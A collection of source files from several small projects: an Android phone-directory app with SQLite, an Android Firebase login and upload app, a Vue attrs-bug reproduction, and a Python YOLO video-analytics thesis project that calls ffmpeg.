import android.widget.AdapterView.OnItemClickListener;
import android.widget.LinearLayout;
import android.widget.ListView;
import android.widget.Toast;
import com.feicui.android.contacts.R;
import com.feicui.android.contacts.adapter.PhoneTypeAdapter;
import com.feicui.android.contacts.entity.PhoneTypeEntity;
import com.feicui.android.contacts.sqlite.MyOpenHelper;
public class MainActivity extends BaseActivity implements OnItemClickListener{
//电话类型列表
ListView lv_phoneType;
//是否双击退出计时状态
boolean is_exit = false;
//第一次点击退出的时间戳
long l_firstClickTime;
//第二次点击退出的时间戳
long l_secondClickTime;
//电话类型适配器
PhoneTypeAdapter ptAdapter;
//SQLite自定义帮助类
MyOpenHelper mHelper;
//loading界面
LinearLayout ll_loading;
//要存放数据库的路径
private static String DATABASE_PATH = "/data/data/com.feicui.android.contacts/databases";
//数据库名
private static String DABABASE_NAME = "commonnum.db";
ArrayList<PhoneTypeEntity> list = new ArrayList<PhoneTypeEntity>();
@Override
protected int setContent() {
// TODO Auto-generated method stub
return R.layout.activity_main;
}
@Override
protected void initView() {
lv_phoneType = (ListView) findViewById(R.id.lv_phoneType);
ll_loading = (LinearLayout) findViewById(R.id.ll_loading);
requestPermission();
//启动初始化异步任务
new InitTask().execute();
}
@Override
protected void setListener() {
lv_phoneType.setOnItemClickListener(this);
}
@Override
public boolean onKeyDown(int keyCode, KeyEvent event) {
//双击退出
doubleColickExit(keyCode, event);
return true;
}
/**
* @description 初始化电话类型数据列表
*/
private void initList(){
//通过构造函数实例化
mHelper = new MyOpenHelper(this);
//调用相应的方法,往集合中传入数据
list = mHelper.selectClass();
ptAdapter = new PhoneTypeAdapter(this,list);
}
/**
* @description 双击退出函数
* @param keyCode
* @param event
*/
private void doubleColickExit(int keyCode,KeyEvent event){
//当用户第一次点击返回钮时
if(keyCode == KeyEvent.KEYCODE_BACK && is_exit == false){
//设置记录标志为true
is_exit = true;
//获得第一次点击的时间戳
l_firstClickTime = System.currentTimeMillis();
Toast.makeText(this, getString(R.string.exit_toast),Toast.LENGTH_SHORT).show();
}
//用户第二次点击返回钮
else if(keyCode == KeyEvent.KEYCODE_BACK && is_exit == true){
//记录下第二次点击退出的时间
l_secondClickTime = System.currentTimeMillis();
//时间差在两秒之内,退出程序
if(l_secondClickTime - l_firstClickTime <2000){
finish();
}
else {
//重置记录退出时间标志
is_exit = false;
//超出2000毫秒时,重新开始本函数逻辑
doubleColickExit(keyCode, event);
}
}
}
/**
* @description 从raw文件夹中导入随APK发布的数据库
*/
private void importDatabase(){
try {
//创建数据库目录,若数据库目录不存在,创建单层目录
File file = new File(DATABASE_PATH);
File file2 = new File(DATABASE_PATH, DABABASE_NAME);
//判断文件是否存在,如不存在则创建该文件,存在就直接返回
if(!file.exists()){
file.mkdir();
if(!file2.exists()){
file2.createNewFile();
//获得自带数据库的输入流
InputStream ip = this.getAssets().open(DABABASE_NAME);
//创建将被导入的数据库输出流
FileOutputStream fop = new FileOutputStream(file2);
//创建缓冲区
byte [] buffer = new byte[1024];
//将数据读入缓冲区,并写入输出流
while(ip.read(buffer) != -1){
//将缓冲区中的数据写入输出流
fop.write(buffer);
//重置缓冲区
buffer = new byte[1024];
}
ip.close();
fop.flush();
fop.close();
}
}
else{
return;
}
}catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
//异步初始化操作任务类
class InitTask extends AsyncTask<Void, Void, Void> {
//任务启动后在异步线程中执行的代码,不可操作UI
@Override
protected Void doInBackground(Void... params) {
//转移数据库文件
importDatabase();
//装载ListView
initList();
return null;
}
//任务启动之前执行的代码,可操作UI
@Override
protected void onPreExecute() {
//让loding界面显示
ll_loading.setVisibility(View.VISIBLE);
}
//任务完成之后执行的代码,可操作UI
@Override
protected void onPostExecute(Void aVoid) {
//隐藏loding界面
ll_loading.setVisibility(View.GONE);
//给列表设置适配器
lv_phoneType.setAdapter(ptAdapter);
}
}
private void requestPermission(){
if(ContextCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE)!= PackageManager.PERMISSION_GRANTED){
ActivityCompat.requestPermissions(this,new String[]{Manifest.permission.CALL_PHONE},0);
}
}
@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
switch (requestCode){
case 0:
if(grantResults[0]==PackageManager.PERMISSION_GRANTED) {
Toast.makeText(MainActivity.this,"权限申请成功", Toast.LENGTH_SHORT).show();
}
else{
finish();
}
break;
}
}
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
// TODO Auto-generated method stub
Intent intent;
String type = list.get(position).getTypeName();
if(type.equals("本地电话")){
//当点击本地电话时 启动本地拨号界面
intent = new Intent(Intent.ACTION_DIAL);
startActivity(intent);
}else{
//当点击其他项时
intent = new Intent(this, PhoneNumberActivity.class);
//把点击的item的position(从1开始)组合成一个表名并传到下个界面
intent.putExtra("tableName","table" + position );
startActivity(intent);
}
}
}
```
PhoneTypeEntity.java
```package com.feicui.android.contacts.entity;
/**
* @descriprion �绰����ʵ����
* @author G505
*
*/
public class PhoneTypeEntity {
//�绰��������
private String typeName;
public PhoneTypeEntity() {
}
public PhoneTypeEntity(String type) {
typeName = type;
}
public String getTypeName() {
return typeName;
}
public void setTypeName(String typeName) {
this.typeName = typeName;
}
}
```
PhoneTypeAdapter.java
```package com.feicui.android.contacts.adapter;
import java.util.ArrayList;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.ImageView;
import android.widget.TextView;
import com.feicui.android.contacts.R;
import com.feicui.android.contacts.entity.PhoneTypeEntity;
public class PhoneTypeAdapter extends BaseAdapter{
//待装载数据,为电话类型实体类列表
ArrayList<PhoneTypeEntity> myData;
//上下文
Context mContext;
/**
* @description 本适配器构造器,传入电话类型列表的实体类以装载数据
*
* @param data 载入的数据源
* @param content 上下文
*/
public PhoneTypeAdapter(Context content,ArrayList<PhoneTypeEntity> data) {
mContext = content;
myData = data;
}
@Override
public int getCount() {
return myData.size();
}
@Override
public Object getItem(int position) {
return myData.get(position);
}
@Override
public long getItemId(int position) {
return position;
}
@Override
public View getView(int position, View convertView, ViewGroup parent) {
//声明ViewHolder
ViewHolder holder = null;
//若为第一次显示当前item
if(convertView == null){
//获取布局加载器
LayoutInflater inflater = LayoutInflater.from(mContext);
//使用布局加载器加载item布局
convertView = inflater.inflate(R.layout.item_phone_type_list, null);
//保存ViewHolder的状态,存在当前convertView中
holder = new ViewHolder();
holder.tv_typeName = (TextView) convertView.findViewById(R.id.tv_typeName);
holder.iv_arrowRight = (ImageView) convertView.findViewById(R.id.iv_arrowRight);
convertView.setTag(holder);
}
else{
holder = (ViewHolder) convertView.getTag();
}
holder.tv_typeName.setText(myData.get(position).getTypeName());
return convertView;
}
/**
* 用于优化性能的ViewHolder,保存Item布局中的控件
*/
public class ViewHolder {
public TextView tv_typeName;//电话类型名称
public ImageView iv_arrowRight;//右箭头
}
}
```
PhoneNumberActivity.java
```package com.feicui.android.contacts.activity;
import java.util.ArrayList;
import android.Manifest;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.AsyncTask;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.view.View;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.LinearLayout;
import android.widget.ListView;
import com.feicui.android.contacts.R;
import com.feicui.android.contacts.adapter.PhoneNumberAdapter;
import com.feicui.android.contacts.entity.PhoneNumberEntity;
import com.feicui.android.contacts.sqlite.MyOpenHelper;
/**
* @author G505
* @description 展示列表的页面
*/
public class PhoneNumberActivity extends BaseActivity implements OnItemClickListener {
//显示电话号码的列表
ListView lv_phoneNumber;
//电话号码列表的适配器
PhoneNumberAdapter pnAdapter;
//loading界面
LinearLayout ll_loading;
//自定义的数据库
private MyOpenHelper mhelper;
//展示页面适配器
PhoneNumberAdapter numberAdapter;
//用于存放电话信息的list
ArrayList<PhoneNumberEntity> mlist = new ArrayList<PhoneNumberEntity>();
@Override
protected int setContent() {
return R.layout.activity_phone_number;
}
@Override
protected void initView() {
lv_phoneNumber = (ListView) findViewById(R.id.lv_phoneNumber);
ll_loading = (LinearLayout) findViewById(R.id.ll_loading);
//开始装载界面资源
new daaBaseInport().execute();
}
/**
* 得到点击的listview所对应的信息
*/
private void getMsg() {
mhelper = new MyOpenHelper(this);
Intent intent = getIntent();
//调用selectMsg传入相应的表名并接收相应信息(存放在list中)
mlist = mhelper.selectMsg(intent.getStringExtra("tableName"));
}
@Override
protected void setListener() {
lv_phoneNumber.setOnItemClickListener(this);
}
//异步初始化操作任务类
class InitTask extends AsyncTask<Void, Void, Void> {
//任务启动后在异步线程中执行的代码,不可操作UI
@Override
protected Void doInBackground(Void... params) {
//装载ListView
initList();
return null;
}
//任务启动之前执行的代码,可操作UI
@Override
protected void onPreExecute() {
//让loding界面显示
ll_loading.setVisibility(View.VISIBLE);
}
//任务完成之后执行的代码,可操作UI
@Override
protected void onPostExecute(Void aVoid) {
//隐藏loding界面
ll_loading.setVisibility(View.GONE);
//给列表设置适配器
lv_phoneNumber.setAdapter(pnAdapter);
}
}
/**
* @description 装载ListView
*/
private void initList() {
getMsg();
numberAdapter = new PhoneNumberAdapter(this, mlist);
}
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
//点击项的电话名字
String name = mlist.get(position).getPhoneName();
//点击项的电话号码
final String number = mlist.get(position).getPhoneNumber();
//创建一个对话框
AlertDialog.Builder builder = new AlertDialog.Builder(this);
//标题
builder.setTitle("警告");
//对话框信息
builder.setMessage("您将要拨打: " + name + "\n" + "TEL: "+ number);
//点击拨打按钮时,拨打相应电话
builder.setPositiveButton("拨打", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
//电话号码
Uri data = Uri.parse("tel:" + number);
//拨打相应的电话
Intent intent = new Intent("android.intent.action.CALL", data);
startActivity(intent);
}
});
builder.setNegativeButton("取消", null);
//显示对话框
builder.show();
}
class daaBaseInport extends AsyncTask<Void, Void, Void>{
//任务启动后在异步线程中执行的代码,不可操作UI
@Override
protected Void doInBackground(Void... params) {
//装载ListView
initList();
return null;
}
//任务启动之前执行的代码,可操作UI
@Override
protected void onPreExecute() {
//让loading界面显示
ll_loading.setVisibility(View.VISIBLE);
}
//任务完成之后执行的代码,可操作UI
@Override
protected void onPostExecute(Void aVoid) {
//隐藏loading界面
ll_loading.setVisibility(View.GONE);
//给列表设置适配器
lv_phoneNumber.setAdapter(numberAdapter);
}
}
}
```
MyOpenHelper.java
```package com.feicui.android.contacts.sqlite;
import java.util.ArrayList;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;
import com.feicui.android.contacts.entity.PhoneNumberEntity;
import com.feicui.android.contacts.entity.PhoneTypeEntity;
/**
*
* @author G505
* @description SQLite帮助类
*/
public class MyOpenHelper extends SQLiteOpenHelper{
//数据库版本
public final static int DATABASE_VERSION = 1;
//数据库名称
private static String DATABASE_NAME = "commonnum.db";
//电话类型的表名
private static String TABLE_NAME_CLASSLIST = "classlist";
//用于存放电话类型的list
private ArrayList<PhoneTypeEntity> classlist = new ArrayList<PhoneTypeEntity>();
//用于存放相应的电话信息的list
private ArrayList<PhoneNumberEntity> msglist = new ArrayList<PhoneNumberEntity>();
//数据库
private SQLiteDatabase DB;
//游标
private Cursor cursor;
public MyOpenHelper(Context context) {
super(context, DATABASE_NAME, null, DATABASE_VERSION);
}
@Override
public void onCreate(SQLiteDatabase db) {
}
@Override
public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
}
@Override
public void onDowngrade(SQLiteDatabase db, int oldVersion, int newVersion) {
onUpgrade(db, oldVersion, newVersion);
}
/**
* @description 查询classlist表的方法
*
*/
public ArrayList<PhoneTypeEntity> selectClass(){
DB = this.getReadableDatabase();
cursor = DB.query(TABLE_NAME_CLASSLIST, new String[]{"*"}, null, null, null, null, null);
classlist.add(new PhoneTypeEntity("本地电话"));
while(cursor.moveToNext()){
PhoneTypeEntity type = new PhoneTypeEntity();
type.setTypeName((cursor.getString(cursor.getColumnIndexOrThrow("name"))));
classlist.add(type);
}
DB.close();
return classlist;
}
/**
* 查询相应表名的表的信息
* @param tableName 要查询的表名
*
*/
public ArrayList<PhoneNumberEntity> selectMsg(String tableName){
DB = this.getReadableDatabase();
cursor = DB.query(tableName, new String[]{"*"}, null, null, null, null, null);
while(cursor.moveToNext()){
PhoneNumberEntity msg = new PhoneNumberEntity();
msg.setPhoneName(cursor.getString(2));
msg.setPhoneNumber(cursor.getString(1));
msglist.add(msg);
}
DB.close();
return msglist;
}
}
```
SplashActivity.java
```package com.feicui.android.contacts.activity;
import android.content.Intent;
import android.view.animation.AlphaAnimation;
import android.view.animation.Animation;
import android.widget.ImageView;
import com.feicui.android.contacts.R;
public class SplashActivity extends BaseActivity{
//开屏页图片
ImageView iv_splash;
//淡入动画
AlphaAnimation alphaAnim;
protected int setContent() {
return R.layout.activity_splash;
}
@Override
protected void initView() {
iv_splash = (ImageView) findViewById(R.id.iv_splash);
}
@Override
protected void setListener() {
}
/**
* @description 加载动画
*/
private void initAnimation(){
//淡入动画
alphaAnim = new AlphaAnimation(0f, 1f);
//设置动画时间
alphaAnim.setDuration(3000);
//设置动画播放结束后的监听
alphaAnim.setAnimationListener(new Animation.AnimationListener() {
@Override
public void onAnimationStart(Animation arg0) {
}
@Override
public void onAnimationRepeat(Animation arg0) {
}
@Override
public void onAnimationEnd(Animation arg0) {
//跳转到主页
Intent intent = new Intent(SplashActivity.this, MainActivity.class);
//开启
startActivity(intent);
//关闭开屏页
finish();
}
});
//开启动画
iv_splash.startAnimation(alphaAnim);
}
/**
* 当前页是否已获得焦点
*
* @param hasFocus true代表获得焦点,false相反
*/
public void onWindowFocusChanged(boolean hasFocus) {
super.onWindowFocusChanged(hasFocus);
if(hasFocus){
initAnimation();
}
}
}
```
PhoneNumberEntity.java
```package com.feicui.android.contacts.entity;
/**
*
* @description �绰����ʵ����
*/
public class PhoneNumberEntity {
private String phoneName;//�绰����
private String phoneNumber;//�绰����
public String getPhoneName() {
return phoneName;
}
public void setPhoneName(String phoneName) {
this.phoneName = phoneName;
}
public String getPhoneNumber() {
return phoneNumber;
}
public void setPhoneNumber(String phoneNumber) {
this.phoneNumber = phoneNumber;
}
}
```
|
04pys/AnimalCare-2
|
04pys/AnimalCare-2
StorageActivity.java
```package com.example.animalcare;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import com.google.android.gms.tasks.Continuation;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.OnFailureListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.FirebaseApp;
import com.google.firebase.storage.FileDownloadTask;
import com.google.firebase.storage.FirebaseStorage;
import com.google.firebase.storage.ListResult;
import com.google.firebase.storage.OnPausedListener;
import com.google.firebase.storage.OnProgressListener;
import com.google.firebase.storage.StorageException;
import com.google.firebase.storage.StorageMetadata;
import com.google.firebase.storage.StorageReference;
import com.google.firebase.storage.UploadTask;
import android.annotation.SuppressLint;
import android.graphics.Bitmap;
import android.graphics.drawable.BitmapDrawable;
import android.os.Bundle;
import android.widget.ImageView;
import java.io.ByteArrayOutputStream;
public class StorageActivity extends AppCompatActivity {
private final String TAG = "java.StorageActivity";
@SuppressLint("WrongThread")
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_storage);
FirebaseStorage storage = FirebaseStorage.getInstance();
// Create a storage reference from our app
StorageReference storageRef = storage.getReference();
// Create a reference to "mountains.jpg"
StorageReference mountainsRef = storageRef.child("mountains.jpg");
// Create a reference to 'images/mountains.jpg'
StorageReference mountainImagesRef = storageRef.child("images/mountains.jpg");
// While the file names are the same, the references point to different files
mountainsRef.getName().equals(mountainImagesRef.getName()); // true
mountainsRef.getPath().equals(mountainImagesRef.getPath()); // false
ImageView imageView = (ImageView)findViewById(android.R.id.text1);
// Get the data from an ImageView as bytes
imageView.setDrawingCacheEnabled(true);
imageView.buildDrawingCache();
Bitmap bitmap = ((BitmapDrawable) imageView.getDrawable()).getBitmap();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
bitmap.compress(Bitmap.CompressFormat.JPEG, 100, baos);
byte[] data = baos.toByteArray();
UploadTask uploadTask = mountainsRef.putBytes(data);
uploadTask.addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception exception) {
// Handle unsuccessful uploads
//업로드 실패시 :
// 본선 구현예정
}
}).addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() {
@Override
public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
//업로드 성공시 :
taskSnapshot.getMetadata();
//contains file metadata such as size, content-type, etc.
}
});
}
}```
MainActivity.java
```package com.example.animalcare;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import com.google.android.gms.auth.api.Auth;
import com.google.android.gms.auth.api.signin.GoogleSignIn;
import com.google.android.gms.auth.api.signin.GoogleSignInAccount;
import com.google.android.gms.auth.api.signin.GoogleSignInClient;
import com.google.android.gms.auth.api.signin.GoogleSignInOptions;
import com.google.android.gms.auth.api.signin.GoogleSignInResult;
import com.google.android.gms.common.SignInButton;
import com.google.android.gms.common.api.ApiException;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.auth.AuthCredential;
import com.google.firebase.auth.AuthResult;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseUser;
import com.google.firebase.auth.GoogleAuthProvider;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
public class MainActivity extends AppCompatActivity {
private SignInButton signInButton;
private GoogleSignInClient mGoogleSignInClient;
private String TAG = "MainActivity";
private FirebaseAuth mAuth;
private Button Guestlogin;
private int RC_SIGN_IN = 1;
private EditText mEtEmail, mEtPwd;
private DatabaseReference mDatabaseRef;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
signInButton = findViewById(R.id.sign_in_button);
mAuth = FirebaseAuth.getInstance();
mDatabaseRef = FirebaseDatabase.getInstance().getReference();
// btnSignOut = findViewById(R.id.btn_login);
Guestlogin = findViewById(R.id.btn_guest);
mEtEmail = findViewById(R.id.et_email);
mEtPwd = findViewById(R.id.et_pwd);
Button btn_login = findViewById(R.id.btn_login);
Guestlogin.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent(MainActivity.this, Activity_management.class);
intent.putExtra("userName", "Guest");
startActivity(intent);
}
});
GoogleSignInOptions gso = new GoogleSignInOptions.Builder(GoogleSignInOptions.DEFAULT_SIGN_IN)
.requestIdToken(getString(R.string.default_web_client_id))
.requestEmail()
.build();
mGoogleSignInClient = GoogleSignIn.getClient(this, gso);
signInButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
signIn();
}
});
// btnSignOut.setOnClickListener(new View.OnClickListener() {
// @Override
// public void onClick(View view) {
// mGoogleSignInClient.signOut();
// Toast.makeText(MainActivity.this, "로그아웃 하셨습니다.", Toast.LENGTH_SHORT).show();
// btnSignOut.setVisibility(View.INVISIBLE);
// }
// });
//
Button btn_register = findViewById(R.id.btn_register);
btn_register.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(MainActivity.this, RegisterActivity.class);
startActivity(intent);
}
});
btn_login.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
String strEmail = mEtEmail.getText().toString();
String strPwd = mEtPwd.getText().toString();
mAuth.signInWithEmailAndPassword(strEmail, strPwd).addOnCompleteListener(MainActivity.this, new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(@NonNull Task<AuthResult> task) {
if(task.isSuccessful()) {
//로그인 성공
Intent intent = new Intent(MainActivity.this, Activity_management.class);
startActivity(intent);
finish(); //현재 액티비티 파괴
}
else {
Toast.makeText(MainActivity.this, "로그인 실패", Toast.LENGTH_SHORT).show();
}
}
});
}
});
}
private void signIn() {
Intent signInIntent = mGoogleSignInClient.getSignInIntent();
startActivityForResult(signInIntent, RC_SIGN_IN);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (resultCode != RESULT_CANCELED) {
if (requestCode == RC_SIGN_IN) {
Task<GoogleSignInAccount> task = GoogleSignIn.getSignedInAccountFromIntent(data);
handleSignInResult(task);
}
}
}
private void handleSignInResult(Task<GoogleSignInAccount> task) {
try {
GoogleSignInAccount acc = task.getResult(ApiException.class);
Toast.makeText(getApplicationContext(), "로그인에 성공하셨습니다.", Toast.LENGTH_SHORT).show(); //MainActivity.this
FirebaseGoogleAuth(acc);
} catch (ApiException e) {
Toast.makeText(getApplicationContext(), "로그인에 실패하셨습니다.", Toast.LENGTH_SHORT).show();
// FirebaseGoogleAuth(null);
}
}
private void FirebaseGoogleAuth(GoogleSignInAccount acc) {
AuthCredential authCredential = GoogleAuthProvider.getCredential(acc.getIdToken(), null);
mAuth.signInWithCredential(authCredential).addOnCompleteListener(this, new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(@NonNull Task<AuthResult> task) {
if (task.isSuccessful()) {
Toast.makeText(getApplicationContext(), "로그인 성공", Toast.LENGTH_SHORT).show();
// Intent intent = new Intent(MainActivity.this, Activity_management.class);
// startActivity(intent);
FirebaseUser user = mAuth.getCurrentUser();
updateUI(user);
} else {
Toast.makeText(getApplicationContext(), "로그인 실패", Toast.LENGTH_SHORT).show();
updateUI(null);
}
}
});
}
private void updateUI(FirebaseUser fuser) {
// btnSignOut.setVisibility(View.VISIBLE);
GoogleSignInAccount account = GoogleSignIn.getLastSignedInAccount(getApplicationContext());
if (account != null) {
String personName = account.getDisplayName();
String personGivenName = account.getGivenName();
String personFamilyName = account.getFamilyName();
String personEmail = account.getEmail();
String personId = account.getId();
Uri personPhoto = account.getPhotoUrl();
sendUserToSetupActivity(personName, personEmail, personPhoto);
// Toast.makeText(MainActivity.this, personName + "님 환영합니다.", Toast.LENGTH_SHORT).show();
}
}
private void sendUserToSetupActivity(String personName, String personEmail, Uri personPhoto) {
startActivity(new Intent(getApplicationContext(), Activity_management.class)
.putExtra("Name", personName)
.putExtra("Email", personEmail)
.putExtra("Photo", personPhoto.toString())
);
this.finish();
}
@Override
protected void onStart() {
super.onStart();
FirebaseUser currentUser = mAuth.getCurrentUser();
if (currentUser != null) {
sendUserToMainActivity();
}
}
private void sendUserToMainActivity() {
startActivity(new Intent(getApplicationContext(), Activity_management.class));
this.finish();
}
}```
Upload.java
```package com.example.animalcare;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.OnFailureListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.FirebaseFirestore;
import com.google.firebase.firestore.QueryDocumentSnapshot;
import com.google.firebase.firestore.QuerySnapshot;
import java.util.HashMap;
import java.util.Map;
import io.perfmark.Tag;
public class Upload extends AppCompatActivity {
//스토리지 보안설정
//service firebase.storage {
// match /b/{bucket}/o {
// match /{allPaths=**} {
// allow read, write: if request.auth != null;
// }
// }
//}
FirebaseFirestore db = FirebaseFirestore.getInstance();
private static final String TAG = "Upload";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_upload);
//Create a new add with URL
Map<String, Object> add = new HashMap<>();
add.put("url","KakaoTalk_20210314_004422412_01.jpg");
//Add a new document with a generated ID
db.collection("adds")
.add(add)
.addOnSuccessListener(new OnSuccessListener<DocumentReference>() {
@Override
public void onSuccess(DocumentReference documentReference) {
Log.d(TAG, "DocumentSnapshot added with ID: " + documentReference.getId());
}
})
.addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception e) {
Log.w(TAG,"Error adding document", e);
}
});
db.collection("users")
.get()
.addOnCompleteListener(new OnCompleteListener<QuerySnapshot>() {
@Override
public void onComplete(@NonNull Task<QuerySnapshot> task) {
if (task.isSuccessful()) {
for (QueryDocumentSnapshot document : task.getResult()) {
Log.d(TAG, document.getId() + " => " + document.getData());
}
} else {
Log.w(TAG, "Error getting documents.", task.getException());
}
}
});
}
}```
|
07akioni/vue-attrs-bug
|
07akioni/vue-attrs-bug
b.js
```import { h } from 'vue'
import A from './a.js'
export default {
name: 'B',
render () {
return h(A, null, {
default () {
return h('div', null, ['B'])
}
})
}
}```
index.js
```import { createApp, h } from 'vue'
import B from './b'
const app = {
render () {
return h(B, {
class: 'b'
})
}
}
createApp(app).mount('#app')
```
a.js
```import { renderSlot } from 'vue'
export default {
name: 'A',
render () {
return renderSlot(this.$slots, 'default')
}
}```
|
07kshitij/Object-Detection-Playground
|
07kshitij/Object-Detection-Playground
getdata.py
```import os
class data:
def __init__(self):
self.getData()
def getData(self, params, source_file):
path = "."
orgFR = 25
frame = params["frameRate"]
img = params["imgSize"]
os.system(
'ffmpeg -i {} -filter:v "setpts={}*PTS" {}fps.mkv'.format(
source_file, orgFR / frame, frame
)
)
os.system(
'ffmpeg -i {}fps.mkv -filter:v scale="{}:trunc(ow/a/2)*2" -c:a copy {}p_{}fps.mkv'.format(
frame, img, img, frame
)
)
return "{}p_{}fps.mkv".format(img, frame)
if __name__ == "__main__":
data()
```
README.md
```Contains implementation of certain papers as a part of my **B.Tech Thesis Project**
> #### Object Detection Models Used
1. **YOLOv3: An Incremental Improvement** (2018) (Joseph Redmon, Ali Farhadi)
[[official site](https://pjreddie.com/darknet/yolo/)]
> #### Papers
1. **\*Chameleon: Scalable Adaptation of Video Analytics** (Junchen Jiang, Ganesh Ananthanarayanan, Peter Bodik, Siddhartha Sen, Ion Stoica)
**\*** : Implementation in Progress
> #### Requirements
* python 3
> #### Usage
1. ##### Clone this Repository
```
$ git clone https://github.com/07kshitij/Object-Detection-Playground.git
$ cd Object-Detection-Playground/
```
2. ##### Setup a Virtual Environment
```
$ python3 -m venv vision
```
3. ##### Set Environment Variables
Change the value of the field `HOME_PATH` in the file `.env` to the path of the directory where you've cloned this repository followed by this command
```
$ source .env
```
4. ##### Download Model Weights ( YOLOv3 )
```
$ cd Papers/Chaml_impl/darknet
$ wget https://pjreddie.com/media/files/yolov3.weights
```
5. ##### Run the Code ( Chameleon )
```
$ cd ..
$ python3 chameleon.py
``````
.env
```source vision/bin/activate
export HOME_PATH="/home/kshitij/btp"
```
chameleon.py
```import os
import pprint
from shutil import copyfile
from itertools import product
class color:
RED = "\033[1;31m"
GREEN = "\033[1;32m"
YELLOW = "\033[1;33m"
BLUE = "\033[1;34m"
MAGENTA = "\033[1;35m"
CYAN = "\033[1;36m"
WHITE = "\033[1;37m"
REVERSE = "\033[0;0m"
class chameleon:
def __init__(self):
""" Initialize all parameters and env paths """
self.configs = [
{"frameRate": 20, "imgSize": 960, "models": "yolo"},
{"frameRate": 25, "imgSize": 1280, "models": "yolo"},
]
self.params = ["frameRate", "imgSize", "models"]
self.model_path = os.path.join(
os.getenv("HOME_PATH"), "Papers/Chaml_impl/darknet"
)
self.source_file = os.path.join(os.getenv("HOME_PATH"), "DataSet/25fps.mkv")
self.model_data = os.path.join(
os.getenv("HOME_PATH"), "Papers/Chaml_impl/darknet/data"
)
self.accuracy = 0.8
self.threshold = 0.5
self.top_config = 2
self.colors = color()
self.runChameleon()
@staticmethod
def getData(params, source_file):
""" Convert the original videofile's params to those specified by `params` """
orgFR = 25
frame = params["frameRate"]
img = params["imgSize"]
os.system(
'ffmpeg -loglevel quiet -i {} -filter:v "setpts={}*PTS" {}fps.mkv'.format(
source_file, orgFR / frame, frame
)
)
os.system(
'ffmpeg -loglevel quiet -i {}fps.mkv -filter:v scale="{}:trunc(ow/a/2)*2" -c:a copy {}p_{}fps.mkv'.format(
frame, img, img, frame
)
)
return "{}p_{}fps.mkv".format(img, frame)
@staticmethod
def getImageDims(file):
""" Returns the resolution the given video frame """
os.system(
"ffprobe -loglevel quiet -v error -select_streams v:0 -show_entries stream=width,height -of csv=p=0 {} > tmp.txt".format(
file
)
)
with open("tmp.txt", "r") as f:
dims = f.readlines()[0]
dims = dims[:-1] # Remove the newline character
dims = [(int)(x) for x in dims.split(",")]
os.system("rm -rf tmp.txt")
return dims
def scaleImage(self, file, dims):
""" Scales the given file to the given resolution """
path = file
outfile = "out_" + file
print(" +++ Converting ",path, " to ", outfile)
os.system(
"ffmpeg -loglevel quiet -i {} -vf scale={}:{} {}".format(
path, dims[0], dims[0], outfile
)
)
print(" +++ Conversion Done")
# copyfile(outfile, path)
# os.system("rm -rf {}".format(outfile))
return outfile
def runChameleon(self):
""" Runs the Model """
config = self.profile(1, self.configs, self.top_config)
print(self.colors.BLUE, "Top k Configs : ", config, self.colors.REVERSE)
def getFrames(self, file, frame=0, outfile="res0"):
""" Extract the given frame from the given file """
os.system(
'ffmpeg -loglevel quiet -i {} -vf "select=eq(n\,{})" -vframes 1 {}.jpg'.format(
file, frame, outfile
)
)
os.system("mv {}.jpg {}".format(outfile, self.model_data))
def updateSpatial(self, videos, configurations):
# Todo : Implement paper
return
def updateTemporal(self):
# Todo : Implement paper
return
